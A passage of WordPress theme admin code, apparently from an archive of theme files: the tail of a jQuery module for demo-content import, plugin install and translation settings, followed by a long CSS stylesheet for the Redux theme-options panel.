target.find('.spinner').remove(); target.replaceWith('Activated'); } else { window.onbeforeunload = null; location.reload(true); } } }); }); }; Module.selectData = function () { var self = this; var rbDemos = $('.rb-demo-item'); if (rbDemos.length > 0) { rbDemos.each(function () { self.importerBtnStatus($(this)); }); } $('.rb-importer-checkbox').unbind('click').on('click', function (e) { e.preventDefault(); e.stopPropagation(); var checkbox = jQuery(this); if (checkbox.data('checked') == 1) { checkbox.removeClass('checked'); checkbox.data('checked', 0); } else { checkbox.addClass('checked'); checkbox.data('checked', 1); } var outer = checkbox.parents('.demo-content'); var name = checkbox.data('title'); var wrap = checkbox.parents('.data-select'); if (checkbox.data("checked") && 'rb_import_all' == name) { wrap.find('.rb_import_content').data("checked", 1).addClass('checked'); wrap.find('.rb_import_pages').data("checked", 1).addClass('checked'); wrap.find('.rb_import_tops').data("checked", 1).addClass('checked'); wrap.find('.rb_import_widgets').data("checked", 1).addClass('checked'); } if (!checkbox.data("checked") && 'rb_import_all' != name) { wrap.find('.rb_import_all').data("checked", 0).removeClass('checked'); } if (checkbox.data("checked") && 'rb_import_pages' == name) { wrap.find('.rb_import_content').data("checked", 0).removeClass('checked'); } self.importerBtnStatus(outer); }); }; /** importer button */ Module.importerBtnStatus = function (wrapper) { var importAll = wrapper.find('.rb_import_all').data('checked'); var importContent = wrapper.find('.rb_import_content').data('checked'); var importPages = wrapper.find('.rb_import_pages').data('checked'); var importTops = wrapper.find('.rb_import_tops').data('checked'); var importWidgets = wrapper.find('.rb_import_widgets').data('checked'); if (importAll || importContent || importPages || importTops || importWidgets) { wrapper.find('.rb-disabled').removeClass('rb-disabled'); return true; } wrapper.find('.rb-importer-btn').addClass('rb-disabled'); return false; }; /** install package */ Module.installPackaged = function () { var self = this; $('.rb-install-package').unbind('click').on('click', function (e) { e.preventDefault(); e.stopPropagation(); if (self.pluginProcess) { return false; } var target = $(this); target.addClass('loading'); self.pluginProcess = true; target.html('Installing...'); var installData = target.data(); jQuery.post(self.globalConfigs.ajaxUrl, installData, function (response) { window.onbeforeunload = null; location.reload(); }); }); }; /** install demo */ Module.installDemo = function () { var self = this; $('.rb-do-import, .rb-do-reimport').on('click', function (e) { e.preventDefault(); e.stopPropagation(); if (self.importProcess) { return false; } var target = $(this); var parent = target.parents('.rb-demo-item'); var message = 'Import Demo Content?'; if (parent.hasClass('is-imported')) { message = 'Re-Import Content?'; } var confirm = window.confirm(message); if (confirm === false) { return; } self.importProcess = true; parent.addClass('is-importing'); var importData = parent.data(); importData.import_all = parent.find('.rb_import_all').data('checked'); importData.import_content = parent.find('.rb_import_content').data('checked'); importData.import_pages = parent.find('.rb_import_pages').data('checked'); importData.import_opts = parent.find('.rb_import_tops').data('checked'); importData.import_widgets = parent.find('.rb_import_widgets').data('checked'); jQuery.post(self.globalConfigs.ajaxUrl, importData, function (response) { self.importProcess = false; if (response.length > 0 && (response.match(/Have fun!/gi) || response.match(/Skip content/gi))) { self.isImported = true; } else { self.eFlag = true; alert('There was an error importing demo content: \n\n' + response.replace(/(<([^>]+)>)/gi, "")); } }); self.checkImportProgress(parent); return false; }); }; /** check import progress */ Module.checkImportProgress = function (parent) { var self = this; self.importInterval = setInterval(function () { jQuery.ajax({ type: 'POST', data: { action: 'rb_check_progress' }, url: self.globalConfigs.ajaxUrl, success: function (response) { if (self.eFlag) { clearInterval(self.importInterval); parent.find('.process-count').text('Error, Please contact customer support.'); parent.find('.rb-wait').html('Error...'); } else { if (self.isImported) { clearInterval(self.importInterval); parent.find('.demo-status').text('Already Imported'); parent.find('.process-count').text('Completed'); parent.find('.process-percent').addClass('is-completed'); parent.addClass('just-complete'); return false; } else { var obj = jQuery.parseJSON(JSON.stringify(response)); if (typeof obj == 'object') { var percentage = Math.floor((obj.imported_count / obj.total_post) * 100); percentage = (percentage > 0) ? percentage - 1 : percentage; parent.find('.process-percent').css('width', percentage + '%'); parent.find('.process-count').text(percentage + '%'); } } } }, error: function (response) { clearInterval(self.importInterval); } }); }, 2000); }; /** translation */ Module.fetchTranslation = function () { var self = this; var fetchBtn = $('#rb-fetch-translation'); fetchBtn.on('click', function (e) { e.preventDefault(); e.stopPropagation(); var confirm = window.confirm('Are you sure you want to fetch new data from translation files?'); if (confirm === false) { return; } if (self.ajaxProccess) { return false; } var form = $(this).parents('#rb-translation-form'); var nonce = form.find('[name="rb-core-nonce"]').val(); var loading = form.find('.fetch-translation-loader'); $.ajax({ type: 'POST', async: true, dataType: 'json', url: self.globalConfigs.ajaxUrl, data: { action: 'rb_fetch_translation', _nonce: nonce }, beforeSend: function (xhr) { self.ajaxProccess = true; loading.fadeIn(300).removeClass('is-hidden'); fetchBtn.attr('disabled', 'disabled'); }, success: function (response) { location.reload(); } }); }); } /** update translation */ Module.updateTranslation = function () { var self = this; var updateBtn = $('#rb-update-translation'); updateBtn.on('click', function (e) { e.preventDefault(); e.stopPropagation(); if (self.ajaxProccess) { return false; } var form = $(this).parents('#rb-translation-form'); var nonce = form.find('[name="rb-core-nonce"]').val(); var loading = form.find('.update-translation-loader'); var info = form.find('.rb-info'); var data = 'action=rb_update_translation'; data += '&_nonce=' + nonce + ''; data += '&' + form.find('input[type="text"]').serialize(); $.ajax({ type: 'POST', async: true, dataType: 'json', url: self.globalConfigs.ajaxUrl, data: data, beforeSend: function (xhr) { self.ajaxProccess = true; loading.fadeIn(300).removeClass('is-hidden'); updateBtn.attr('disabled', 'disabled'); }, success: function (response) { loading.fadeOut(300).addClass('is-hidden'); updateBtn.removeAttr('disabled'); self.ajaxProccess = false; info.text('Settings Saved!').slideDown(300); setTimeout(function () { info.slideUp(300); }, 2000) }, error: function () { info.addClass('is-error').text('Error!').slideDown(300); } }); }); } /** edit font project */ Module.editProjectID = function () { let editBtn = $('#rb-edit-project-id'); let saveBtn = $('#submit-project-id'); let deleteButton = $('#delete-project-id'); editBtn.on('click', function (e) { e.preventDefault(); e.stopPropagation(); $(this).prev('[name="rb_fonts_project_id"]').prop('readonly', false); $(this).remove(); deleteButton.hide(); saveBtn.removeClass('is-hidden'); }); deleteButton.on('click', function (e) { var confirm = window.confirm('Are you sure to delete this project?'); if (confirm === false) { return false; } }); }; return Module; }(RB_ADMIN_CORE || {}, jQuery)); jQuery(document).ready(function () { RB_ADMIN_CORE.init(); });assets/theme-options.css000064400000141447147207023670011376 0ustar00@media (min-width: 1025px) { .redux-container { font-size: 11px; margin-top: 30px; border: 1px solid #f7f7f7; background: #3b414c; box-shadow: none; border-radius: 7px; } .redux-container tbody { overflow: hidden; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; width: 100%; } .redux-container-image_select .redux-image-select { max-width: 500px; } .redux-container tbody:before, .redux-container tbody:after { -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; } .redux-container .expand_options { display: none !important; } body:not(.wp-customizer) .redux-main { display: block; min-height: 900px !important; margin-left: 260px !important; padding-right: 20px; padding-left: 20px; border-left: 0; background-color: #fff; } .redux-main .redux-container-background .upload { width: auto; max-width: 100%; } .redux-sidebar { display: block; float: left; overflow: hidden; box-sizing: border-box; width: auto; max-width: 260px; height: 100%; padding-top: 20px; background: #3b414c; } .redux-sidebar * { -webkit-box-sizing: border-box; box-sizing: border-box; } .redux-container-select { font-size: 12px !important; } .redux-container .redux-sidebar .redux-group-menu { padding-bottom: 15px; } .redux-container .redux-sidebar .redux-group-menu li a { font-size: 14px; font-weight: 500; line-height: 34px; position: relative; display: block; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; min-width: 230px; max-width: 230px; margin: 5px 15px; padding: 0 20px !important; -webkit-transition: background-color .25s; transition: background-color .25s; color: #eee; border: 0; border-bottom: none !important; -webkit-border-radius: 7px; border-radius: 7px; } .redux-container #info_bar { padding: 10px 10px; color: #333; border-bottom: none; background: #f8f8f8; box-shadow: none; } .redux-container #redux-intro-text { border: 0; } .redux-container #redux-header { padding: 0; border-bottom: 0; border-bottom: 10px solid #4b5567 !important; background: #363a42 !important; background-repeat: repeat-x !important; } .redux-container .redux-sidebar .redux-group-menu { background: none; } .redux-container #redux-header .display_header { position: static; min-width: 200px; margin: 0; padding: 40px 30px; text-align: left; } .redux-container #redux-header .display_header h2 { font-size: 26px; font-weight: bold; letter-spacing: -0.03em; } .redux-container #redux-header .display_header span { font-weight: bold; font-style: italic; } .redux-main .redux-option-image { margin: 5px 15px 10px 0; padding: 0; border: 3px solid #3bc3d5; border-radius: 0; } .redux-container #redux-footer { padding-top: 10px; padding-bottom: 10px; border-top: none !important; background: #f8f8f8 !important; } .sticky-footer-fixed { right: auto !important; left: 444px !important; } .redux-main input[type=checkbox], .redux-main input[type=color], .redux-main input[type=date], .redux-main input[type=datetime-local], .redux-main input[type=datetime], .redux-main input[type=email], .redux-main input[type=month], .redux-main input[type=number], .redux-main input[type=password], .redux-main input[type=radio], .redux-main input[type=search], .redux-main input[type=text], .redux-main select, .redux-main textarea { font-size: 11px; border-color: #ddd; outline: none; box-shadow: none; } div#redux_notification_bar { position: absolute; top: 0; left: 0; } .redux-container .sticky-save-warn .redux-save-warn { right: auto; left: auto; } .redux-main #redux_ajax_overlay { opacity: .2; } .redux-main input[type=text] { padding: 10px 15px; border-radius: 0; } .redux-main input[type=checkbox]:checked:before { color: #4aed77; } .redux-main textarea { padding: 15px !important; } .redux-main textarea:focus, .redux-main textarea:hover { border-color: #999; } .redux-main a { color: #cd2d08; } .redux-container .redux-sidebar .redux-group-tab-link-a i { font-size: 15px; line-height: 34px; display: inline-block; } .redux-main .button.remove-image:hover, .redux-main .removeCSS:hover { background: #e74c3c; } .redux-container .redux-sidebar .redux-group-tab-link-a span.group_title { font-size: 12px; font-weight: 700; padding-left: 24px; } .redux-group-tab > h2 { font-size: 24px; font-weight: bold; line-height: 1; display: inline-block; margin-top: 0; margin-bottom: 0; padding: 0; letter-spacing: -0.02em; } .redux-container .redux-group-tab .redux-section-desc { font-size: 12px; font-weight: 500; line-height: 1.7; max-width: 660px; margin-top: 12px; margin-bottom: 25px; color: #333; } .redux-container .redux-main img { max-height: 100px; } .redux-container .ruby-section-start .redux-section-desc { font-size: 13px; font-style: normal; font-weight: normal; line-height: 1.6; display: block; width: 100%; max-width: 1300px; margin-top: 15px; padding: 12px; margin-left: 2%; margin-right: 2%; border-left: 5px solid #f0cb42; border-radius: 7px; background: #d8b16014; } .redux-container .ruby-section-start .redux-section-desc:not(:last-child) { margin-bottom: 7px; } .redux-container .redux-group-tab .redux-section-desc em { font-weight: 700; line-height: 1; display: block; margin-top: 10px; padding-left: 10px; border-left: 3px solid; } .redux-main .description { max-width: 400px; } .redux-main .description.field-desc { font-size: 12px; font-style: italic; line-height: 1.7; max-width: 100%; margin-top: 10px; } #redux-import-action span { font-size: 13px; color: #f48427; } .select2-container .select2-choice, .select2-container .select2-selection { line-height: 32px; height: 32px; padding: 0 0 0 16px; border: 1px solid #ddd; border-radius: 0; outline: none; background: #fff; } .select2-container .select2-choice abbr { top: 10px; right: 36px; } .select2-container .select2-choice > .select2-chosen { margin-right: 36px !important; } .select2-drop { border-radius: 0 0 0 0; } .select2-drop-active, .select2-container-multi.select2-container-active .select2-choices, .select2-drop.select2-drop-above.select2-drop-active, .select2-container-active .select2-choice, .select2-container-active .select2-choices, .select2-dropdown-open.select2-drop-above .select2-choice, .select2-dropdown-open.select2-drop-above .select2-choices { border-color: #999 !important; } .select2-search input { min-height: 32px; margin-top: 5px; padding-left: 13px; border-radius: 0; } .select2-search input:hover, .select2-search input:focus { border-color: #999; box-shadow: none; } .select2-container .select2-choice .select2-arrow, .select2-container .select2-choice .select2-selection__arrow { position: absolute; top: 1px; right: 1px; width: 30px; height: 30px; border: 0 none; border-radius: 0; outline: none; background: #7a8292; } .select2-container .select2-choice .select2-arrow b, .select2-container .select2-choice .select2-selection__arrow b { background: none; } .select2-container .select2-choice .select2-arrow b:before, .select2-container .select2-choice .select2-selection__arrow b:before { font-family: 'Elusive-Icons'; font-size: 8px; line-height: 30px; position: relative; display: block; width: 30px; content: '\f126'; text-align: center; color: #fff; } .select2-dropdown-open .select2-choice .select2-arrow b:before, .select2-dropdown-open .select2-choice .select2-selection__arrow b:before { content: '\f129'; } .redux-container .select2-drop-active { margin-top: 3px !important; border: 1px solid #999 !important; border-radius: 0 !important; } .redux-container .select2-results .select2-highlighted { background: #7a8292 !important; } .redux-container .select2-results .select2-highlighted { line-height: 30px !important; border-radius: 0 !important; background: #7a8292 !important; } .redux-container .select2-drop { line-height: 30px !important; box-shadow: none !important; } .switch-options .cb-enable { line-height: 30px; height: 30px; margin-top: 0 ! important; margin-bottom: 0 !important; border: none; border-radius: 0; border-top-left-radius: 4px; border-bottom-left-radius: 4px; background: #fff; box-shadow: none; } .switch-options .cb-disable { line-height: 30px; height: 30px; margin-top: 0 ! important; margin-bottom: 0 !important; padding: 0 7px; border: none; border-radius: 0; border-top-right-radius: 4px; border-bottom-right-radius: 4px; background: #fff; box-shadow: none; } .redux-container .redux_field_th { font-size: 12px; font-weight: 700 !important; display: block; min-width: 210px; padding: 15px 15px 15px 0; } .redux-notice-field p { font-size: 12px; margin-top: 5px; margin-bottom: 0; padding: 0; } .redux-main span.description { font-size: 12px; font-weight: normal; font-style: normal !important; line-height: 1.5em; max-width: 380px; margin-top: 7px; margin-right: 30px; text-transform: none; color: #555 !important; } .redux-main span.description:first-letter { text-transform: uppercase; } .redux-container .expand_options { -webkit-transition: all .25s; transition: all .25s; border: 1px solid #e2e2e2; border-radius: 0; } .redux-container-switch .cb-enable span, .redux-container-switch .cb-disable span { font-size: 11px; font-weight: 400; line-height: 30px; height: 30px; padding: 0 5px; letter-spacing: 1px; text-transform: uppercase; } #wpwrap .redux-container .redux-container-switch .cb-enable.selected, #wpwrap .redux-container .ui-buttonset .ui-state-active, .wp-customizer .redux-container-switch .cb-enable.selected, .wp-customizer .redux-field-container .ui-buttonset .ui-state-active { border: 1px solid transparent !important; background: #78d098 !important; -webkit-box-shadow: none !important; box-shadow: none !important; } body .redux-container .redux-sidebar .redux-group-menu li.active a, body .redux-container .redux-sidebar .redux-group-menu li.activeChild a { color: #fff !important; background-color: #4ca26b !important; text-shadow: none !important; } body .redux-container .redux-sidebar .redux-group-menu li.active a { box-shadow: 1px 5px 10px rgba(0, 0, 0, .2); } input.small-text { width: 100px !important; border-color: #ddd !important; } .redux-container-switch .cb-disable, .redux-container-switch .cb-enable, .redux-container .ui-state-default, .redux-container .ui-widget-content .ui-state-default, .redux-container .ui-widget-header .ui-state-default { background: #f5f5f5 !important; } #wpwrap .redux-container-switch .cb-disable.selected, .wp-customizer .redux-container-switch .cb-disable.selected { border: 1px solid transparent !important; background: #3b414c !important; -webkit-box-shadow: none !important; box-shadow: none !important; } #redux_save { color: #fff; background: #78d098; } #redux_save:hover, #redux_save:focus { background-color: #1ed4a0 !important; } .redux-main .redux-action_bar input[type=submit] { font-weight: 400; margin-right: 5px; -webkit-transition: all .25s; transition: all .25s; text-transform: uppercase; color: #fff; border: none !important; -webkit-border-radius: 40px !important; border-radius: 40px !important; background: #7a8292; box-shadow: none !important; text-shadow: none; } .redux-main .redux-action_bar input[type='submit']:nth-of-type(2):hover, .redux-main .redux-action_bar input[type='submit']:nth-of-type(2):focus, .redux-main .redux-action_bar input[type='submit']:nth-of-type(3):hover, .redux-main .redux-action_bar input[type='submit']:nth-of-type(3):focus { color: #fff; background: #ff8763 !important; } #redux-import-action { margin-top: 15px !important; } .redux-container-multi_text > a, #redux-import-action input[type=submit], #redux-export-code-dl { color: #fff; border: none !important; background: #78d098 !important; box-shadow: none !important; text-shadow: none !important; } .redux-container .select2-container-multi .select2-choices { max-height: 600px; padding: 5px; border-color: #ddd; background: transparent; } .redux-main .redux-field-container { max-width: 600px; padding: 10px 0; } .redux-main .redux-field-container.redux-container-image_select { max-width: 100%; } .redux-container-multi_text > a:hover, .redux-container-multi_text > a:focus, #redux-import-action input[type=submit]:hover, #redux-import-action input[type=submit]:focus, #redux-export-code-dl:hover, #redux-export-code-dl:focus { background: #1ed4a0 !important; } .redux-container .redux-container-import_export a { margin-right: 7px; -webkit-transition: all .35s; transition: all .35s; color: #fff; border: none !important; -webkit-border-radius: 4px; border-radius: 4px; background: #999; box-shadow: none !important; } .redux-container .redux-container-import_export a:hover, .redux-container .redux-container-import_export a:focus { color: #fff; background-color: #28d466; } .redux-container .redux-container-import_export a:hover, .redux-container .redux-container-import_export a:focus { background-color: #ff8763 !important; } .redux-container #import_export_default_section_group a:hover, .redux-container #import_export_default_section_group a:focus { color: #fff; background: #4d4c4c; } .redux-sidebar .redux-menu-error { margin-top: 5px; margin-right: 20px; } .redux-container-multi_text .redux-multi-text-remove { font-size: 12px; font-weight: bold; padding: 3px; -webkit-transition: all .25s; transition: all .25s; color: #aaa; border-radius: 3px; } .redux-container-multi_text .redux-multi-text-remove:hover, .redux-container-multi_text .redux-multi-text-remove:focus { color: #fff !important; background: #ec4b4b; } .redux-main .theme-info li { margin-bottom: 10px !important; } .redux-main .theme-description { font-weight: bold; margin-bottom: 15px; } #foxiz_theme_options-multi_sidebars input[type=text] { margin-bottom: 10px; padding: 7px 10px; -webkit-transition: all .35s ease-in-out; transition: all .35s ease-in-out; border: 1px solid transparent; background: #ddd; } .redux-container-image_select .redux-image-select-selected img { border-color: #78d098 !important; box-shadow: 0 1px 10px #78d098 !important; } .redux-container-image_select .redux-image-select-selected { background: transparent; } .redux-container-image_select ul.redux-image-select li { padding: 0 15px 15px 0; } .redux-image-select span { font-size: 10px; display: block; text-align: center; } .form-table-section { margin-left: 24px; } .redux-main .input-append { position: relative; } .redux-main .input-append .add-on, .redux-main .input-prepend .add-on { font-size: 8px; line-height: 30px; display: block; width: 30px; height: 30px; padding: 0 !important; text-align: center; letter-spacing: 1px; text-transform: uppercase; color: #fff; border: 0 none; border-radius: 0; background: #7a8292; } .redux-main .redux-container-typography .add-on { font-size: 10px !important; line-height: 24px !important; position: absolute; top: 0; right: 0; bottom: 0; -webkit-box-sizing: border-box !important; box-sizing: border-box !important; width: 26px !important; height: 34px !important; padding: 0; border-top-right-radius: 4px; border-bottom-right-radius: 4px; background-color: #7a8292 !important; } .redux-main .redux-typography-container .input_wrapper input.mini { font-weight: 700; top: 0; width: 100%; height: 34px !important; padding-right: 34px; border: 1px solid #ddd; border-radius: 0; } .redux-main .button:not(.wp-color-result) { font-size: 11px; font-weight: 700; line-height: 30px; height: 30px; margin-top: 0; padding: 0 25px; -webkit-transition: all .25s; transition: all .25s; vertical-align: middle; color: #fff !important; border: none; -webkit-border-radius: 4px !important; border-radius: 4px !important; background: #78d098; box-shadow: none; } .redux-main .button:not(.wp-color-result):hover, .redux-main .button:not(.wp-color-result):focus { background: #1ed4a0 !important } .redux-main .wp-color-result-text { border-left: none; } .redux-main .input-append { margin-right: 0; } .redux-sidebar .redux-group-menu li { display: block; } .redux-container .redux-sidebar .redux-group-menu li a:hover { color: rgba(255, 255, 255, 1) !important; background: #363a42 !important; } .redux-sidebar .redux-group-menu li:last-child { border-bottom: 0; } .redux-sidebar .redux-group-menu li a.custom-tab { color: #fff; background: transparent; } .redux-container-textarea { max-width: 450px; } .redux-sidebar .redux-group-menu li.active a { background: #fff; } .redux-container .redux-group-tab { margin-bottom: 30px; padding-left: 10px; } .redux-main .wp-picker-container .wp-color-result { height: auto !important; padding-top: 2px; padding-right: 2px; padding-bottom: 2px; border: 1px solid #eee !important; border-radius: 0; background-color: #eee; box-shadow: none; } .redux-container-multi_text input[type=text] { font-weight: bold; max-width: 240px; margin-bottom: 10px; padding: 10px 15px; -webkit-transition: all .25s; transition: all .25s; color: #282828; border-radius: 4px; background: #f2f2f2 !important; } .repeat-label { font-size: 12px; display: block; margin-bottom: 7px; } .redux-container-multi_text input:read-only { cursor: not-allowed; color: #fff; background: #3b414c !important; } .redux-main .wp-color-result:after { font-weight: bold; padding: 0 10px; border: 0; border-radius: 0; box-shadow: none; } .wp-picker-container input[type=text].wp-color-picker { margin-left: 15px; padding: 3px 0; } .redux-main .wp-picker-input-wrap label { display: inline-block; } .redux-main .wp-pickercolorear { line-height: 24px !important; height: 24px !important;; } .redux-main .iris-picker .iris-square, .redux-main .iris-picker .iris-slider, .redux-main .iris-picker .iris-square-inner, .redux-main .iris-picker .iris-palette { border-radius: 0; box-shadow: none; } #foxiz_theme_options-ruby_raw_info { max-width: 550px; } #current-theme img { display: block; width: 100%; height: auto; margin: 0 auto; } #current-theme h2 { font-weight: bold; letter-spacing: 1px; text-transform: uppercase; } .redux-container #redux-header .display_header .redux-dev-mode-notice-container { position: absolute; top: 0; right: auto; bottom: auto; left: 0; } .redux-container #redux-header .display_header span.redux-dev-mode-notice { -webkit-border-radius: 0; border-radius: 0; background-color: #ffc784; } .redux-section-field h3 { border-bottom: none !important; } .ruby-section-end { margin: 10px 2%; border-top: 4px solid #eee; } .ruby-section-end.no-border { border-top: none; } .redux-container .form-table > tbody > tr > th { width: 30% !important; padding: 0 30px 0 0; vertical-align: middle; } .redux-container-image_select .redux-image-select img, .redux-container-image_select .redux-image-select .tiles { max-width: 72px; border-color: transparent; border-radius: 3px; box-shadow: 0 1px 10px rgba(0, 0, 0, .1); } .redux-container .select2-container-multi .select2-choices .select2-search-choice { margin: 5px 0 5px 5px !important; border: none !important; border-radius: 3px !important; background: #f2f2f2 !important } .redux-container .redux-main .layout-info { display: inline-flex; width: auto; max-width: 100px; border: 1px solid #a6b9ad !important; border-radius: 10px; background-color: transparent; } .redux-container .redux-main .layout-info img { width: 100% !important; height: auto; margin: 0; } .select2-results .select2-result-label { font-weight: bold; } #redux-header .rAds { top: 20px !important; right: 20px !important; } #redux-header .rAds img { margin-top: 0 !important; } body .redux-container .redux-field .select2-container { min-width: 280px !important; white-space: nowrap; outline: none !important; box-shadow: none !important; } .redux-container .redux-typography-container .select2-container { min-height: 0; } .redux-container textarea.large-text { display: block; max-width: 100%; } .redux-container .redux-group-tab h3 { font-size: 13px !important; font-weight: 700; line-height: 30px !important; display: inline-block; margin-top: 0; margin-bottom: 10px; padding: 0 10px; min-width: 260px; color: #fff !important; border-radius: 7px; background: #489fff !important; border-left: 7px solid #0070b4; } .redux-container .redux-container-sorter h3 { padding: 0; padding-left: 0 !important; text-align: center; text-transform: capitalize; color: #282828 !important; border: none; background: none !important; box-shadow: none; } .redux-container-sorter ul { padding: 20px 15px; text-align: center; border: none; border-radius: 4px; background: #f9f9f9; } .redux-container-sorter ul li { font-size: 12px; font-weight: 700; line-height: 20px !important; height: 20px !important; margin: 10px 0; padding: 7px 0; text-transform: uppercase; color: #fff !important; border: none !important; -webkit-border-radius: 4px; border-radius: 4px; background: #78d098; } .redux-container-sorter ul:last-child li { background-color: #3b414c; } .redux-main .buttonset .ui-button-text { font-size: 11px; font-weight: bold; text-transform: uppercase; } .redux-container .ui-button { border-radius: 0 !important; box-shadow: none !important; } .linkColor strong { font-size: 11px; display: block; margin-bottom: 5px; text-align: center; text-transform: uppercase; } .redux-main .redux-container-background .select2-container { margin-right: 2px; } .redux-container-import_export textarea { min-height: 185px; padding: 10px; } .redux-sidebar .redux-group-menu li.hasSubSections a { display: block; width: 100%; text-shadow: none !important; } .redux-sidebar .redux-group-menu li.active.hasSubSections > a { color: #fff !important; } .redux-container .redux-sidebar .redux-group-menu li.hasSubSections ul.subsection li a:hover, .redux-container .redux-sidebar .redux-group-menu li .subsection .redux-group-tab-link-li .redux-group-tab-link-a:hover, .redux-container .redux-sidebar .redux-group-menu li.activeChild.hasSubSections > a, .redux-container .redux-sidebar .redux-group-menu li.activeChild.hasSubSections > a:focus { color: rgba(255, 255, 255, 1) !important; background: #363a42 !important; box-shadow: none; } .redux-container .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.active a, .redux-container .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.active a, .redux-container .redux-sidebar .redux-group-menu li.hasSubSections ul.subsection li.active a, .redux-container .redux-sidebar .redux-group-menu li .subsection .redux-group-tab-link-li .redux-group-tab-link-a:focus { color: #fff !important; background: #4ca26b !important; } .redux-sidebar .redux-group-menu li.hasSubSections ul.subsection li a i { font-size: 10px; line-height: 26px; padding-left: 12px; } .redux-sidebar .redux-group-menu li.hasSubSections ul.subsection li.hasIcon a span.group_title { font-size: 11px; line-height: 26px; display: block; text-shadow: none !important; } body.wp-admin .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li a span.group_title { padding-left: 25px !important; } .redux-sidebar .hasSubSections .extraIconSubsections i { font-size: 7px; line-height: 25px; } .redux-sidebar .redux-group-menu li.active.hasSubSections ul.subsection li.hasIcon a { padding-left: 25px; } .redux-sidebar .hasSubSections .extraIconSubsections i:before { content: '\f126' !important; } .redux-container .redux-sidebar .redux-group-menu li.hasSubSections ul.subsection li a, .redux-container .redux-sidebar .redux-group-menu li .subsection .redux-group-tab-link-li .redux-group-tab-link-a { background: none !important; } .redux-sidebar .redux-group-menu li.activeChild.hasSubSections .active a:after { display: none !important; } .wp-admin .redux-container .redux-sidebar .redux-group-menu li.hasSubSections ul.subsection li a { display: flex; align-items: center; width: 200px; min-width: 200px; max-width: 200px; margin-right: 0; margin-left: 0; padding-right: 10px !important; padding-left: 10px !important; } .redux-sidebar .redux-group-menu .hasSubSections li.redux-group-tab-link-li { border-right: none; border-left: none; } .redux-main .form-table-section-indented { margin-right: 2% !important; margin-left: 2% !important; } .redux-container .redux-main .form-table tr.fold { border-bottom: none; } .redux-main #redux-sticky { margin-bottom: 45px; } .redux-main .redux-typography-container { max-width: 660px; margin-right: -5px; margin-left: -5px; } .redux-main .redux-typography-container .select_wrapper, .redux-main .redux-typography-container .select_wrapper:nth-child(even), .redux-main .redux-typography-container .select_wrapper:nth-child(odd), .redux-main .redux-typography-container .input_wrapper { display: block; float: left; width: 50% !important; min-width: 0 !important; max-width: none !important; height: auto; margin: 0 !important; padding: 10px 5px; } .redux-main .redux-typography-container .input_wrapper { width: 33.3333% !important; } .redux-main .redux-typography-container .input_wrapper.font-size { margin-left: 0; } .redux-main .redux-typography-container label { line-height: 1.5em; margin: 0 0 4px 0 !important; } .redux-main .redux-typography-container .wp-picker-container { display: block; clear: both; margin-bottom: 0; } .redux-main .redux-typography-container .typography-preview { display: block; overflow: hidden; max-width: 100%; margin-top: 20px; } .redux-main .redux-typography-container .select_wrapper .redux-typography { height: 34px !important; } .theme-info { display: block; width: 100%; margin-top: 45px; padding: 30px; background-color: #fff; } .redux-main .theme-info li { font-size: 14px; font-style: italic; margin-bottom: 15px !important; } .theme-description { font-style: normal !important; text-transform: uppercase; } .redux-sorter-container h3 { padding-bottom: 10px; } .sp-container button { font-size: 11px; font-weight: bold; padding: 7px 10px; -webkit-transition: all .35s ease-in-out; transition: all .35s ease-in-out; text-transform: uppercase; color: #fff; border: none !important; border-radius: 0 !important; outline: none !important; background: #2980b9; -webkit-box-shadow: none !important; box-shadow: none !important; } .sp-container button:hover, .sp-container button:hover:focus { background: #28d466; } .redux-main .color-transparency-check { font-size: 10px; font-weight: bold; text-transform: uppercase; } .redux-container .noUi-connect { background: #78d098 !important; } .redux-container .noUi-handle { border-radius: 0; } .redux-container .noUi-handle:before, .redux-container .noUi-handle:after { display: none; } .ruby-notice-import { font-size: 12px; line-height: 18px; display: block; max-width: 900px; margin-bottom: 45px; } .ruby-notice-import p { margin-bottom: 15px !important; } .redux-message { display: none !important; } /** wp-customizer page */ .wp-customizer #redux_rAds { display: none; } #customize-theme-controls { position: relative; display: block; width: 100%; } #customize-controls .description { display: block; margin-top: 5px; margin-right: 0; } #customize-controls .redux-image-select img { width: 60px !important; } .redux-main .redux-container-import_export .description { margin-bottom: 15px; } .redux-container .redux-sidebar .redux-group-menu li.hasSubSections .extraIconSubsections { font-size: 8px !important; position: absolute !important; top: 1px; right: 10px; } .redux-container .redux-sidebar ul .subsection { width: auto; max-width: 100%; margin: 0 15px !important; padding: 10px; -webkit-border-radius: 7px; border-radius: 7px; background-color: #363a42 !important; } .redux-container .notice-green { font-size: 14px; line-height: 40px; margin-top: 5px; margin-left: 5px; padding: 0 30px; color: #fff; border: none; border-radius: 4px; background-color: #78d098; text-shadow: none; } .redux-container .notice-red, .redux-container .redux-field-errors { font-size: 14px; line-height: 40px; margin: 5px; padding: 0 30px; color: #fff; border: none; border-radius: 4px; background-color: #ff8763; text-shadow: none; } .redux-container .notice-yellow { font-size: 14px; line-height: 40px; margin: 5px; padding: 0 30px; color: #fff; border: none; border-radius: 4px; background-color: #e4b46d; text-shadow: none; } .redux-container .redux-sidebar .redux-menu-error { font-size: 13px; margin-top: -5px; margin-right: 0; color: #fff; background-color: #fd7148; } .wp-customizer .redux_field_th { font-size: 15px; font-weight: 700; } .redux-container #section-table-section_start_quick_translation .redux_field_th { font-size: 15px; font-weight: 400 !important; line-height: 1.5; text-transform: none !important; } .redux-main #section-table-section_start_quick_translation input[type=text] { width: 100%; } /* rtl */ .rtl .redux-sidebar { float: right; } body.rtl:not(.wp-customizer) .redux-main { margin-right: 260px !important; margin-left: 0 !important; padding-left: 20px; } body.rtl .redux-container .redux-main span.description { margin-right: 0; margin-left: 30px; } body.rtl .redux-group-tab-link-a span.group_title, body.rtl .redux-sidebar .redux-group-menu li.activeChild.hasSubSections ul.subsection li.hasIcon a span.group_title { padding-left: 0 !important; } body.rtl .redux-container .form-table > tbody > tr > th { padding-right: 0; padding-left: 30px; } body.rtl .redux-container .select2-container .select2-choice abbr { right: auto; left: 36px; } body.rtl div#redux_notification_bar { right: 0; left: auto; } body.rtl .sticky-footer-fixed { right: 444px !important; left: auto !important; } body.rtl .redux-container #redux-header .display_header .redux-dev-mode-notice-container { right: 30px !important; left: auto !important; } body.rtl .redux-container #redux-header .display_header { float: right; text-align: right; } body.rtl 